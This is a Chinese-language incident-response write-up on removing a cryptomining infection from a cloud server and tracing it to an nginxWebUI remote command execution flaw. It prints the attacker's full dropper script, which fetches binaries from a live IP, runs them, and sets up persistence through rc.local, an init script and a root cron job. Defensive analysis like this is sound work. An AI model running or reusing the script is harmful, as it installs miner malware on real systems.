一、背景
我們收到一個阿里云安全告警,內容是服務器可能存在挖礦程序。
二、殺死挖礦程序
2.1 找到可疑服務器進程
#1.輸入top命令,輸入shift + P會按照cpu的使用率大小從大到小進行排序,cpu使用率高的就是可疑進程。 top #2.查看運行該進程的命令 ps -ef | grep PID |
2.2 進入該進程運行目錄
#1.查看進程運行目錄 pwdx PID #2.進入目錄 cd dir |
相關命令
命令 | 說明 |
---|---|
readlink /proc/pid/exe | /proc/pid/exe文件是一個符號鏈接文件,它的內容是一個指向當前進程可執行文件的絕對路徑的符號鏈接。 |
readlink /proc/pid/cwd | 在Linux系統中,每個進程都有一個/proc/pid/cwd文件,它是一個符號鏈接文件,指向當前進程的工作目錄。 |
2.3 殺死該進程
sudo kill -9 pid |
2.4 刪除挖礦進程文件
#1.查看進程運行目錄 pwdx PID #2.進入目錄 cd dir #3.查看最近兩天修改的文件 find . -type f -mtime -2 |
經過上述步驟,我們找到一個可疑腳本skdl.sh,該內容如下
#!/bin/bash cd /var/run;wget -O localn http://20.239.92.233/localn;curl -o localn http://20.239.92.233/localn;chmod +x /var/run/localn cd /mnt;wget -O localn http://20.239.92.233/localn;curl -o localn http://20.239.92.233/localn;chmod +x /mnt/localn cd /;wget -O systemn http://20.239.92.233/systemn;curl -o systemn http://20.239.92.233/systemn;chmod +x /systemn chmod +x /etc/rc.d/rc.local chmod +x /etc/init.d/network chmod +x /etc/crontab echo "/var/run/localn &" >> /etc/rc.d/rc.local if [ ! -f "/etc/init.d/network" ]; thenecho "sh /mnt/localn" | tee /etc/init.d/networkchmod +x /etc/init.d/network elsesed -i '15i sh /mnt/localn' /etc/init.d/network fi echo "* * * * * /systemn &" >> /var/spool/cron/root files="x86_64 mips mpsl arm arm5 arm6 arm7 m68k sh4 ppc aarch64" cd /tmp for file in $files dowget http://20.239.92.233/skl.$filewget http://20.239.92.233/skl.$file -O skl.$filechmod +x skl.$file./skl.$file $file done rm -rf $0 |
刪除腳本
sudo rm -rf skdl.sh |
2.5 查看是否存在非法任務
#1.查看定時任務列表 crontab -l #2.如果出現可疑定時任務,就注釋掉 crontab -e #3.查看開機自啟動的內容,如果有可疑內容就注釋掉 cat /etc/rc.local |
三、分析該挖礦程序出現的原因
3.1 查看用戶登錄日志
#查看用戶登錄日志 last |
相關命令
命令 | 說明 |
---|---|
cat? /var/log/secure | 查看ssh登錄日志 |
nmap localhost | 查看打開的端口 |
用戶登錄日志如下,并無任何異常
3.2 查看nginxWebUI日志
可疑腳本的位置在/data/nginxWebUI這個目錄下,所以我懷疑是攻擊者通過nginxWebUI的漏洞來遠程執行命令。
通過查看日志,發現有一個可疑的地址,基本確定是nginxWebUI的漏洞。
通過百度發現確實存在漏洞,nginxWebUI <= 3.5.0 會存在遠程命令執行漏洞,鏈接:https://zhuanlan.zhihu.com/p/640316810